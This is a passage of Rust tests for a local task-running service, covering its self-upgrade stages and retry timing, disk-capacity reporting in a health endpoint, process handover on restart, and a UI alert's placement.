22894        .unwrap();
22895    }
22896
22897    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22898        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22899        p.stage = stage;
22900        p
22901    }
22902
22903    #[test]
22904    fn busy_stages_match_the_ui_set() {
22905        use crate::updater::Stage;
22906        assert!(APP_JS.contains(
22907            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22908        ));
22909        for s in [
22910            Stage::Downloading,
22911            Stage::Replaced,
22912            Stage::Parking,
22913            Stage::Restarting,
22914        ] {
22915            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22916        }
22917        for s in [Stage::Done, Stage::Failed] {
22918            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22919        }
22920        assert!(upgrade_in_motion(None).is_none());
22921    }
22922
22923    #[tokio::test]
22924    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22925        use crate::updater::Stage;
22926        for stage in [
22927            Stage::Downloading,
22928            Stage::Replaced,
22929            Stage::Parking,
22930            Stage::Restarting,
22931        ] {
22932            let fx = Fixture::start().await;
22933            let seeded = seeded_progress(stage);
22934            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22935            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22936                .expect("read");
22937
22938            let res = fx.post("/api/upgrade", None).await;
22939            assert_eq!(res.status, 409, "{stage:?}");
22940            let err = res.json()["error"].as_str().unwrap().to_owned();
22941            assert!(err.contains("already in progress"), "{err}");
22942            assert!(err.contains(stage.as_str()), "{err}");
22943
22944            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22945                .expect("read");
22946            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22947            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22948                .unwrap_or_default();
22949            assert!(!log.contains("signalling HANDOVER"), "{log}");
22950        }
22951    }
22952
22953    #[test]
22954    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22955        assert_eq!(
22956            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22957            Some(3723)
22958        );
22959        assert_eq!(
22960            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22961            Some(60)
22962        );
22963        assert_eq!(
22964            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22965            Some(0)
22966        );
22967        for message in [
22968            "permission denied",
22969            "GitHub API rate limit exceeded",
22970            "GitHub rate limit (resets in unknown)",
22971            "GitHub rate limit (resets in 18446744073709551615d)",
22972        ] {
22973            assert_eq!(upgrade_retry_after(message), None, "{message}");
22974        }
22975    }
22976
22977    #[tokio::test]
22978    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22979        let home = TempDir::new().unwrap();
22980        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22981        ui.start_loop(None).unwrap();
22982        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22983        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22984        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22985        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22986        let response = finish_upgrade_request(&ui, result);
22987        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22988        assert_eq!(response.headers()["retry-after"], "120");
22989        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22990            .await
22991            .unwrap();
22992        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22993        assert!(body["error"].as_str().unwrap().contains(reason));
22994        assert_eq!(body["retry_after_secs"], 120);
22995        assert!(body["retry_at"].as_u64().is_some());
22996        for _ in 0..2 {
22997            let view = health(State(ui.clone())).await.unwrap().0;
22998            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22999            assert_eq!(failure, body);
23000        }
23001        assert_eq!(
23002            std::fs::read(updater::progress_path(home.path())).unwrap(),
23003            before
23004        );
23005        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23006        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23007        // A conflicting request must not erase the actionable earlier failure.
23008        let gate = ui.upgrade_gate.lock().await;
23009        assert_eq!(
23010            upgrade_post(State(ui.clone())).await.status(),
23011            StatusCode::CONFLICT
23012        );
23013        drop(gate);
23014        assert!(
23015            health(State(ui.clone()))
23016                .await
23017                .unwrap()
23018                .0
23019                .upgrade_request_error
23020                .is_some()
23021        );
23022        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23023        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23024        assert!(
23025            health(State(ui.clone()))
23026                .await
23027                .unwrap()
23028                .0
23029                .upgrade_request_error
23030                .is_none()
23031        );
23032        let live = ui.lock_loop().live.take().unwrap();
23033        live.stop.stop();
23034        live.handle.await.unwrap();
23035    }
23036
23037    #[tokio::test]
23038    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23039        use crate::updater::Stage;
23040        let repo = TempDir::new().expect("repo dir");
23041        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23042            .expect("write magi.toml");
23043        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23044        for stage in [Stage::Done, Stage::Failed] {
23045            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23046            let res = fx.post("/api/upgrade", None).await;
23047            assert_eq!(res.status, 200, "{stage:?}");
23048        }
23049        // No record at all, and the gate was released by the earlier calls.
23050        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23051        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23052    }
23053
23054    #[tokio::test]
23055    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23056        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23057        // and the route answers from its own logic.
23058        //
23059        // This test used to lean on the fixture's placeholder repo failing
23060        // config discovery, which left `mode = "notify"` - and a live,
23061        // unauthenticated call to the GitHub releases API inside a unit test.
23062        // GitHub allows 60 of those an hour per address, so the suite went red
23063        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23064        // long as somebody kept re-running it: every attempt spent another
23065        // request. Six reruns across four pull requests were charged to that
23066        // before it was read as a rate limit rather than a flake.
23067        //
23068        // What the assertion is about is the "already current" branch, which
23069        // is reached by there being no newer release *or* nowhere to look. The
23070        // second one needs no network and cannot be rate limited.
23071        let repo = TempDir::new().expect("repo dir");
23072        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23073            .expect("write magi.toml");
23074        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23075
23076        // It must answer 200 and leave the process alone: restarting for an
23077        // upgrade that did not happen parks the run in flight and drops every
23078        // connection to pay for nothing. A probe against a deck already on the
23079        // newest build did exactly that, which is how this case got its own
23080        // branch.
23081        let res = fx.post("/api/upgrade", None).await;
23082        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23083        let body = res.json();
23084        assert!(body["to"].is_null(), "there was no release to move to");
23085        assert!(body["parked"].is_null(), "and nothing was parked");
23086        assert!(
23087            body["detail"]
23088                .as_str()
23089                .unwrap()
23090                .contains("nothing restarted"),
23091            "{body:?}"
23092        );
23093    }
23094
23095    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23096        tokio::time::timeout(Duration::from_secs(5), async {
23097            while state.lock().unwrap().in_flight {
23098                tokio::task::yield_now().await;
23099            }
23100        })
23101        .await
23102        .expect("capacity scan finished");
23103    }
23104
23105    fn disk_test_scope(home: &FsPath) -> DiskScope {
23106        DiskScope {
23107            runs: home.join("runs"),
23108            worktrees: home.join("worktrees"),
23109            cache: Some(home.join("cache")),
23110        }
23111    }
23112
23113    fn known_disk_capacity() -> DiskCapacity {
23114        DiskCapacity {
23115            free_bytes: Some(100),
23116            runs_bytes: Some(200),
23117            worktrees_bytes: Some(300),
23118            cache_bytes: Some(400),
23119        }
23120    }
23121
23122    #[tokio::test]
23123    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23124        let home = TempDir::new().unwrap();
23125        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23126        let mut ui = delta_test_ui(home.path());
23127        let state = Arc::get_mut(&mut ui).unwrap();
23128        state.repo = home.path().to_owned();
23129        state.worktrees_root = home.path().join("worktrees");
23130        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23131        ui.monitor
23132            .worker_started
23133            .store(true, std::sync::atomic::Ordering::SeqCst);
23134        let cfg = deputy_config(&ui.repo);
23135        let scope = DiskScope::of(&ui, cfg.as_ref());
23136        let (started, reached) = tokio::sync::oneshot::channel();
23137        let (release, blocked) = std::sync::mpsc::channel();
23138        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23139            started.send(()).unwrap();
23140            blocked.recv().unwrap();
23141            known_disk_capacity()
23142        });
23143        assert!(cold.runs_bytes.is_none());
23144        tokio::time::timeout(Duration::from_secs(5), reached)
23145            .await
23146            .unwrap()
23147            .unwrap();
23148
23149        let requests: Vec<_> = (0..4)
23150            .map(|_| {
23151                let ui = ui.clone();
23152                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23153            })
23154            .collect();
23155        tokio::time::timeout(Duration::from_secs(5), async {
23156            for request in requests {
23157                let view = request.await.unwrap();
23158                let disk = serde_json::to_value(view.disk).unwrap();
23159                assert!(disk["runs_bytes"].is_null());
23160                assert!(disk["worktrees_bytes"].is_null());
23161                // Free space is a cheap live observation even while the
23162                // recursive capacity measurement remains blocked.
23163                assert!(disk["free_bytes"].is_u64());
23164            }
23165        })
23166        .await
23167        .expect("health must return while the measurement is causally blocked");
23168        assert!(ui.monitor.disk.lock().unwrap().in_flight);
23169        // No competing worker can have published while the first holds flight.
23170        assert!(
23171            ui.monitor
23172                .disk
23173                .lock()
23174                .unwrap()
23175                .capacity
23176                .runs_bytes
23177                .is_none()
23178        );
23179        release.send(()).unwrap();
23180        wait_for_disk_scan(&ui.monitor.disk).await;
23181        assert_eq!(
23182            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23183            Some(200)
23184        );
23185    }
23186
23187    #[tokio::test]
23188    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23189        let home = TempDir::new().unwrap();
23190        let scope = disk_test_scope(home.path());
23191        let state = Arc::new(Mutex::new(DiskObservation {
23192            scope: Some(scope.clone()),
23193            capacity: known_disk_capacity(),
23194            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23195            ..Default::default()
23196        }));
23197        let (started, reached) = tokio::sync::oneshot::channel();
23198        let (release, blocked) = std::sync::mpsc::channel();
23199        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23200            started.send(()).unwrap();
23201            blocked.recv().unwrap();
23202            DiskCapacity {
23203                runs_bytes: Some(250),
23204                ..Default::default()
23205            }
23206        });
23207        assert_eq!(before.cache_bytes, Some(400));
23208        tokio::time::timeout(Duration::from_secs(5), reached)
23209            .await
23210            .unwrap()
23211            .unwrap();
23212        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23213        for _ in 0..4 {
23214            let scans = duplicate_scans.clone();
23215            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23216                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23217                DiskCapacity::default()
23218            });
23219            assert_eq!(during.runs_bytes, Some(200));
23220            assert_eq!(during.cache_bytes, Some(400));
23221        }
23222        release.send(()).unwrap();
23223        wait_for_disk_scan(&state).await;
23224        let scans = duplicate_scans.clone();
23225        let after = DiskObservation::observe(&state, scope, move |_| {
23226            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23227            DiskCapacity::default()
23228        });
23229        wait_for_disk_scan(&state).await;
23230        assert_eq!(after.runs_bytes, Some(250));
23231        assert_eq!(after.free_bytes, Some(100));
23232        assert_eq!(after.cache_bytes, Some(400));
23233        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23234        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23235    }
23236
23237    #[tokio::test]
23238    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23239        let home = TempDir::new().unwrap();
23240        let old_scope = disk_test_scope(home.path());
23241        let mut new_scope = old_scope.clone();
23242        new_scope.cache = Some(home.path().join("replacement-cache"));
23243        let state = Arc::new(Mutex::new(DiskObservation {
23244            scope: Some(old_scope.clone()),
23245            capacity: known_disk_capacity(),
23246            ..Default::default()
23247        }));
23248        let (started, reached) = tokio::sync::oneshot::channel();
23249        let (release, blocked) = std::sync::mpsc::channel();
23250        DiskObservation::observe(&state, old_scope, move |_| {
23251            started.send(()).unwrap();
23252            blocked.recv().unwrap();
23253            known_disk_capacity()
23254        });
23255        tokio::time::timeout(Duration::from_secs(5), reached)
23256            .await
23257            .unwrap()
23258            .unwrap();
23259        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23260        let scans = duplicate_scans.clone();
23261        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23262            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23263            DiskCapacity::default()
23264        });
23265        assert!(changed.cache_bytes.is_none());
23266        assert!(changed.runs_bytes.is_none());
23267        release.send(()).unwrap();
23268        wait_for_disk_scan(&state).await;
23269        {
23270            let observation = state.lock().unwrap();
23271            assert!(observation.capacity.cache_bytes.is_none());
23272            assert!(observation.finished.is_none());
23273        }
23274        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23275            assert_eq!(scope, &new_scope);
23276            DiskCapacity {
23277                cache_bytes: Some(999),
23278                ..Default::default()
23279            }
23280        });
23281        wait_for_disk_scan(&state).await;
23282        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23283        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23284    }
23285
23286    #[tokio::test]
23287    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23288        let home = TempDir::new().unwrap();
23289        let scope = disk_test_scope(home.path());
23290        let state = Arc::new(Mutex::new(DiskObservation {
23291            scope: Some(scope.clone()),
23292            capacity: known_disk_capacity(),
23293            ..Default::default()
23294        }));
23295        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23296        wait_for_disk_scan(&state).await;
23297        {
23298            let mut observation = state.lock().unwrap();
23299            assert_eq!(observation.capacity.cache_bytes, Some(400));
23300            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23301            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23302        }
23303        DiskObservation::observe(&state, scope, |_| DiskCapacity {
23304            cache_bytes: Some(450),
23305            ..Default::default()
23306        });
23307        wait_for_disk_scan(&state).await;
23308        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23309    }
23310
23311    #[test]
23312    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23313        let home = TempDir::new().unwrap();
23314        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23315        assert_eq!(disk_capacity_size(home.path()), Some(0));
23316        std::fs::create_dir(home.path().join("nested")).unwrap();
23317        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23318        assert_eq!(disk_capacity_size(home.path()), Some(5));
23319        #[cfg(unix)]
23320        {
23321            // Unix distinguishes an invalid descendant lookup from absence.
23322            assert_eq!(
23323                disk_capacity_size(&home.path().join("nested/data/child")),
23324                None
23325            );
23326        }
23327        #[cfg(unix)]
23328        {
23329            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23330            assert_eq!(disk_capacity_size(home.path()), Some(5));
23331        }
23332    }
23333
23334    #[tokio::test]
23335    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23336        // `mode = "off"` for the same reason as the test above: a default
23337        // fixture repo falls back to `mode = "notify"`, which would make this
23338        // route's new `update` field a live, unauthenticated GitHub call on
23339        // every assertion in this suite that happens to hit `/api/health`.
23340        let repo = TempDir::new().expect("repo dir");
23341        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23342            .expect("write magi.toml");
23343        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23344
23345        let health = fx.get("/api/health").await.json();
23346        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23347        assert_eq!(
23348            health["update"]["available"], false,
23349            "checking is off, which reads as \"unknown\", not \"none\""
23350        );
23351        assert!(health["update"]["to"].is_null());
23352        assert!(
23353            health["upgrade"].is_null(),
23354            "nothing has ever asked this deck to upgrade"
23355        );
23356    }
23357
23358    #[tokio::test]
23359    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23360        let fx = Fixture::start().await;
23361        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23362
23363        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23364        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23365        progress.advance(crate::updater::Stage::Parking);
23366        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23367
23368        let health = fx.get("/api/health").await.json();
23369        assert_eq!(health["upgrade"]["stage"], "parking");
23370        assert_eq!(health["upgrade"]["from"], "0.5.1");
23371        assert_eq!(health["upgrade"]["to"], "0.5.2");
23372        let waiting_on = health["upgrade"]["waiting_on"]
23373            .as_str()
23374            .expect("waiting_on is set while parking a known run");
23375        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23376        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23377    }
23378
23379    #[tokio::test]
23380    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23381        let fx = Fixture::start().await;
23382        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23383        progress.advance(crate::updater::Stage::Done);
23384        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23385
23386        let health = fx.get("/api/health").await.json();
23387        assert_eq!(health["upgrade"]["stage"], "done");
23388        assert!(
23389            health["upgrade"]["waiting_on"].is_null(),
23390            "nothing to wait on once it is done"
23391        );
23392    }
23393
23394    /// The handover signal is seen however the race falls, and wakes its one
23395    /// waiter once per signal - nothing here can spin.
23396    #[tokio::test]
23397    async fn the_handover_signal_wakes_one_waiter_once() {
23398        let signal = Notify::new();
23399        // Signalled before anyone waits: the stored permit is not lost.
23400        signal.notify_one();
23401        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23402            .await
23403            .expect("an early signal is still seen");
23404        // One signal, one wake-up: a second wait does not resolve by itself.
23405        assert!(
23406            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23407                .await
23408                .is_err(),
23409            "a consumed signal must not wake a second time"
23410        );
23411        // Signalled while waiting.
23412        let signal = std::sync::Arc::new(signal);
23413        let waiter = tokio::spawn({
23414            let signal = std::sync::Arc::clone(&signal);
23415            async move { wait_for_handover(&signal).await }
23416        });
23417        tokio::time::sleep(Duration::from_millis(20)).await;
23418        assert!(!waiter.is_finished(), "nothing was signalled yet");
23419        signal.notify_one();
23420        tokio::time::timeout(Duration::from_secs(5), waiter)
23421            .await
23422            .expect("a late signal wakes the waiter")
23423            .expect("join");
23424    }
23425
23426    #[tokio::test]
23427    async fn health_says_how_long_a_handover_has_been_stuck() {
23428        let fx = Fixture::start().await;
23429        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23430        progress.advance(crate::updater::Stage::Replaced);
23431        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23432        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23433
23434        let health = fx.get("/api/health").await.json();
23435        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23436        assert!(stuck >= 600, "{stuck}");
23437        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23438        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23439    }
23440
23441    #[tokio::test]
23442    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23443        let home = tempfile::tempdir().expect("temp home");
23444        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23445        progress.advance(crate::updater::Stage::Parking);
23446        crate::updater::write_progress(home.path(), &progress).expect("seed");
23447        // What the second upgrade_and_restart and its handler do.
23448        let mut again = progress.clone();
23449        again.advance(crate::updater::Stage::Replaced);
23450        crate::updater::write_progress(home.path(), &again).expect("replaced");
23451        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23452        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23453        let after = crate::updater::read_progress(home.path()).expect("record");
23454        assert_eq!(after.stage, crate::updater::Stage::Parking);
23455    }
23456
23457    #[tokio::test]
23458    async fn health_does_not_call_a_live_parking_wait_stuck() {
23459        let fx = Fixture::start().await;
23460        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23461        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23462        progress.advance(crate::updater::Stage::Parking);
23463        let hours = Duration::from_secs(3 * 3600);
23464        progress.started_at = Timestamp::now() - hours;
23465        progress.updated_at = Timestamp::now() - hours;
23466        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23467        let _lease = crate::updater::LeaseGuard::enter(
23468            fx.home.path(),
23469            Some("20260905-000000-cd51".to_owned()),
23470        );
23471
23472        let health = fx.get("/api/health").await.json();
23473        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23474        assert!(health["upgrade"]["stuck_kind"].is_null());
23475        assert_eq!(health["upgrade"]["handover_alive"], true);
23476        let waiting_on = health["upgrade"]["waiting_on"]
23477            .as_str()
23478            .expect("waiting_on");
23479        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23480    }
23481
23482    fn idle_ui(home: &TempDir) -> Ui {
23483        let runs = home.path().join("runs");
23484        std::fs::create_dir_all(&runs).expect("runs dir");
23485        Ui::new(
23486            Queue::at(home.path().join("queue")),
23487            Questions::at(home.path().join("questions")),
23488            Talks::at(home.path().join("talks")),
23489            runs,
23490            home.path().to_path_buf(),
23491            PathBuf::from("/repo/magi"),
23492        )
23493        .with_launch(launch_idle)
23494    }
23495
23496    #[tokio::test]
23497    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23498        let home = TempDir::new().expect("temp home");
23499        let ui = idle_ui(&home);
23500        let lease = crate::worker::try_lease(home.path(), "scheduler")
23501            .expect("scheduler lease")
23502            .expect("free");
23503        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23504            .expect("request stop");
23505        let error = ui
23506            .start_detached_loop()
23507            .await
23508            .expect_err("transition is still live");
23509        assert_eq!(error.status, StatusCode::CONFLICT);
23510        assert!(error.message.contains("still running or stopping"));
23511        assert_eq!(
23512            crate::worker::control(home.path(), "scheduler").unwrap(),
23513            Some(crate::worker::Control::Stop)
23514        );
23515        drop(lease);
23516    }
23517
23518    #[tokio::test]
23519    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23520        let home = TempDir::new().expect("temp home");
23521        let ui = idle_ui(&home);
23522        let turns = ui
23523            .begin_talk_turn("active-chat")
23524            .expect("claim")
23525            .expect("free");
23526        let execution = crate::worker::try_lease(home.path(), "active-task")
23527            .expect("execution lease")
23528            .expect("free");
23529        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23530            .await
23531            .expect("bind loopback");
23532        let address = listener.local_addr().expect("address");
23533        let admissions = Arc::clone(&ui.admissions);
23534        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23535        let successor_started = std::sync::atomic::AtomicBool::new(false);
23536        tokio::time::timeout(
23537            Duration::from_secs(2),
23538            hand_over(home.path(), &admissions, served, || {
23539                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23540                Ok(1)
23541            }),
23542        )
23543        .await
23544        .expect("restart must not wait for execution")
23545        .expect("handover");
23546        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23547        // BSD may retain the address briefly after listener release. The real
23548        // successor uses the same bounded bind retry rather than a one-shot bind.
23549        let successor = bind_waiting(address)
23550            .await
23551            .expect("successor binds released address");
23552        assert_eq!(successor.local_addr().unwrap(), address);
23553        assert!(turns.owns(), "the chat lease survives restart");
23554        assert!(
23555            crate::worker::try_lease(home.path(), "active-task")
23556                .unwrap()
23557                .is_none()
23558        );
23559        drop(execution);
23560        drop(turns);
23561    }
23562
23563    #[tokio::test]
23564    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23565        let home = TempDir::new().expect("temp home");
23566        let ui = idle_ui(&home);
23567        let admission = ui.begin_admission().expect("admit send");
23568        let turn = ui
23569            .begin_talk_turn("active-chat")
23570            .expect("claim")
23571            .expect("free");
23572        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23573            .await
23574            .expect("bind loopback");
23575        let address = listener.local_addr().expect("address");
23576        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23577        let successor_called = std::sync::atomic::AtomicBool::new(false);
23578        let handover = hand_over(home.path(), &ui.admissions, served, || {
23579            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23580            Ok(1)
23581        });
23582        tokio::pin!(handover);
23583        // Poll exactly to the writer waiting on our admission guard. This
23584        // pins the race without sleeps or assumptions about task scheduling.
23585        std::future::poll_fn(|cx| {
23586            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23587            std::task::Poll::Ready(())
23588        })
23589        .await;
23590        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23591        assert!(
23592            ui.begin_admission().is_err(),
23593            "new ingress cannot race the drain"
23594        );
23595        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23596        drop(admission);
23597        tokio::time::timeout(Duration::from_secs(2), handover)
23598            .await
23599            .expect("only publication may delay restart")
23600            .expect("handover");
23601        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23602        assert!(
23603            turn.owns(),
23604            "the detached chat turn is not awaited or cancelled"
23605        );
23606        assert!(
23607            ui.begin_admission().is_err(),
23608            "old accepted connections stay closed"
23609        );
23610        drop(turn);
23611    }
23612
23613    #[test]
23614    fn health_worker_metadata_never_contains_payload_or_result() {
23615        let view = WorkerView::from(crate::worker::Job {
23616            id: "job".into(),
23617            sequence: 1,
23618            kind: "service".into(),
23619            key: "maintenance".into(),
23620            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23621            generation: "generation".into(),
23622            version: Some("1.2.3".into()),
23623            status: crate::worker::Status::Running,
23624            result: Some("private diagnostics".into()),
23625            pid: Some(4242),
23626            created_at: 1,
23627            finished_at: None,
23628        });
23629        let value = serde_json::to_value(view).expect("serialize public metadata");
23630        assert_eq!(value["version"], "1.2.3");
23631        assert_eq!(value["pid"], 4242);
23632        assert!(value.get("payload").is_none());
23633        assert!(value.get("result").is_none());
23634        assert!(!value.to_string().contains("private"));
23635    }
23636
23637    #[test]
23638    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23639        let home = TempDir::new().expect("temp home");
23640        let ui = idle_ui(&home);
23641        std::fs::write(
23642            home.path().join("daemon.json"),
23643            serde_json::json!({
23644                "schema": 2, "pid": 4242, "worker_protocol": 1,
23645                "updated_at": Timestamp::now().to_string(), "idle": true,
23646            })
23647            .to_string(),
23648        )
23649        .expect("status");
23650        let reading = daemon::read_status(home.path());
23651        assert!(Foreign::of(reading.as_ref()).is_none());
23652        let view = ui.runtime_loop_view(reading, &[]);
23653        assert!(view.running);
23654        assert!(view.owned);
23655    }
23656
23657    #[test]
23658    fn only_an_explicit_one_requests_a_resume() {
23659        assert!(!resume_requested(None));
23660        assert!(!resume_requested(Some("0".into())));
23661        assert!(!resume_requested(Some("".into())));
23662        assert!(resume_requested(Some("1".into())));
23663    }
23664
23665    #[test]
23666    fn an_error_is_visible_from_where_the_button_is() {
23667        // The alert used to sit in the flow under the header. On a phone
23668        // scrolled 13 500 px down to a run's action sheet that is off screen,
23669        // so tapping Resume and being told "the loop is running run b455
23670        // right now" looked exactly like a button that did nothing.
23671        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23672            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23673        assert!(
23674            alert.contains("position: fixed"),
23675            "an error about the thing under your thumb has to be visible from \
23676             where your thumb is: {alert}"
23677        );
23678        assert!(
23679            alert.contains("z-index: 25"),
23680            "above the dock (20) and the run-actions FAB (15), so neither \
23681             buries it: {alert}"
23682        );
23683        assert!(
23684            alert.contains("var(--tap)"),
23685            "and clear of the dock and the home indicator: {alert}"
23686        );
23687        // The FAB sits at the same height on the right. An error that covered
23688        // it would hide the button the operator reaches for next.
23689        assert!(
23690            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23691            "the FAB's column stays free: {alert}"
23692        );
23693    }
23694
23695    #[tokio::test]
23696    async fn an_older_attempt_says_what_replaced_it() {
23697        let fx = Fixture::start().await;
23698        let q = fx.queue();
23699        let runs = fx.runs();
23700        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23701        write_run(&runs, first, RunStatus::Stalled);
23702        write_run(&runs, second, RunStatus::Blocked);
23703
23704        let mut t = Task::new(
23705            "one task".to_owned(),
23706            "do it".to_owned(),
23707            PathBuf::from("/repo"),
23708            Source::Human,
23709        );
23710        t.runs = vec![first.to_owned(), second.to_owned()];
23711        q.put(&mut t).expect("put");
23712
